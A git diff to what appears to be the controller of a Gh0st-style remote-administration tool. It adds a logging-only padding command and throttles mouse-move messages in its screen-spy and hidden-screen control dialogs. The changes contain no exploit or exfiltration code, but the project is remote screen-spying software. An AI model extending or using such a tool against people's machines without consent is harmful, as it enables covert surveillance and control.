diff --git a/common/commands.h b/common/commands.h
index f155166..ad0fc77 100644
--- a/common/commands.h
+++ b/common/commands.h
@@ -248,6 +248,7 @@ enum
 	CMD_RUNASADMIN=214,             // ADMIN 运行
 	CMD_MASTERSETTING = 215,		// 主控设置
 	CMD_HEARTBEAT_ACK = 216,		// 心跳回应
+	CMD_PADDING =217,
 	CMD_AUTHORIZATION = 222,		// 授权
 	CMD_SERVER_ADDR = 229,          // 主控地址
 	TOKEN_ERROR = 230,              // 错误提示
diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp
index 7d2acb2..e5528e9 100644
--- a/server/2015Remote/2015RemoteDlg.cpp
+++ b/server/2015Remote/2015RemoteDlg.cpp
@@ -1987,6 +1987,10 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
 			g_2015RemoteDlg->SendMessage(WM_OPENWEBCAMDIALOG, 0, (LPARAM)ContextObject);
 			break;
 		}
+	case CMD_PADDING: {
+		Mprintf("Receive padding command '%s' [%d]: Len=%d\n", ContextObject->PeerName.c_str(), cmd, len);
+		break;
+	}
 	default: {
 			Mprintf("Receive unknown command '%s' [%d]: Len=%d\n", ContextObject->PeerName.c_str(), cmd, len);
 		}
diff --git a/server/2015Remote/HideScreenSpyDlg.cpp b/server/2015Remote/HideScreenSpyDlg.cpp
index cd76483..fa2cda4 100644
--- a/server/2015Remote/HideScreenSpyDlg.cpp
+++ b/server/2015Remote/HideScreenSpyDlg.cpp
@@ -759,6 +759,19 @@ void CHideScreenSpyDlg::SendScaledMouseMessage(MSG* pMsg, bool makeLP) {
 	if (!m_bIsCtrl)
 		return;
 
+	if (pMsg->message == WM_MOUSEMOVE) {
+		auto now = clock();
+		auto time_elapsed = now - m_lastMouseMove;
+		int dx = abs(pMsg->pt.x - m_lastMousePoint.x);
+		int dy = abs(pMsg->pt.y - m_lastMousePoint.y);
+		int dist_sq = dx * dx + dy * dy;
+		if (time_elapsed < 200 && dist_sq < 18 * 18) {
+			return;
+		}
+		m_lastMouseMove = now;
+		m_lastMousePoint = pMsg->pt;
+	}
+
     MYMSG msg(*pMsg);
 	auto low = ((LONG)LOWORD(pMsg->lParam)) * m_wZoom;
 	auto high = ((LONG)HIWORD(pMsg->lParam)) * m_hZoom;
diff --git a/server/2015Remote/HideScreenSpyDlg.h b/server/2015Remote/HideScreenSpyDlg.h
index f5e957e..e73b5a8 100644
--- a/server/2015Remote/HideScreenSpyDlg.h
+++ b/server/2015Remote/HideScreenSpyDlg.h
@@ -81,6 +81,9 @@ protected:
     BYTE                m_bCursorIndex;
 	CString				m_strTip;
 
+	clock_t				m_lastMouseMove; // 鼠标移动时间
+	POINT				m_lastMousePoint;// 上次鼠标位置
+
 private:
 	CString             m_aviFile;
 	CBmpToAvi	        m_aviStream;
diff --git a/server/2015Remote/ScreenSpyDlg.cpp b/server/2015Remote/ScreenSpyDlg.cpp
index 62c4b1f..a622245 100644
--- a/server/2015Remote/ScreenSpyDlg.cpp
+++ b/server/2015Remote/ScreenSpyDlg.cpp
@@ -34,6 +34,8 @@ extern "C" char* __imp_strtok(char* str, const char* delim) { return strtok(str,
 CScreenSpyDlg::CScreenSpyDlg(CWnd* Parent, Server* IOCPServer, CONTEXT_OBJECT* ContextObject)
 	: DialogBase(CScreenSpyDlg::IDD, Parent, IOCPServer, ContextObject, 0)
 {
+	m_lastMouseMove = 0;
+	m_lastMousePoint = {};
 	m_pCodec = nullptr;
 	m_pCodecContext = nullptr;
 	memset(&m_AVPacket, 0, sizeof(AVPacket));
@@ -556,6 +558,19 @@ VOID CScreenSpyDlg::SendCommand(const MSG64* Msg)
 	if (!m_bIsCtrl)
 		return;
 
+	if (Msg->message == WM_MOUSEMOVE) {
+		auto now = clock();
+		auto time_elapsed = now - m_lastMouseMove;
+		int dx = abs(Msg->pt.x - m_lastMousePoint.x);
+		int dy = abs(Msg->pt.y - m_lastMousePoint.y);
+		int dist_sq = dx * dx + dy * dy;
+		if (time_elapsed < 200 && dist_sq < 18 * 18) {
+			return;
+		}
+		m_lastMouseMove = now;
+		m_lastMousePoint = Msg->pt;
+	}
+
 	const int length = sizeof(MSG64) + 1;
 	BYTE szData[length + 3];
 	szData[0] = COMMAND_SCREEN_CONTROL;
diff --git a/server/2015Remote/ScreenSpyDlg.h b/server/2015Remote/ScreenSpyDlg.h
index a2c9c11..ba0947b 100644
--- a/server/2015Remote/ScreenSpyDlg.h
+++ b/server/2015Remote/ScreenSpyDlg.h
@@ -89,6 +89,9 @@ public:
 	AVPacket			m_AVPacket;
 	AVFrame				m_AVFrame;
 
+	clock_t				m_lastMouseMove; // 鼠标移动时间
+	POINT				m_lastMousePoint;// 上次鼠标位置
+
 	bool Decode(LPBYTE Buffer, int size);
 	void EnterFullScreen();
 	bool LeaveFullScreen();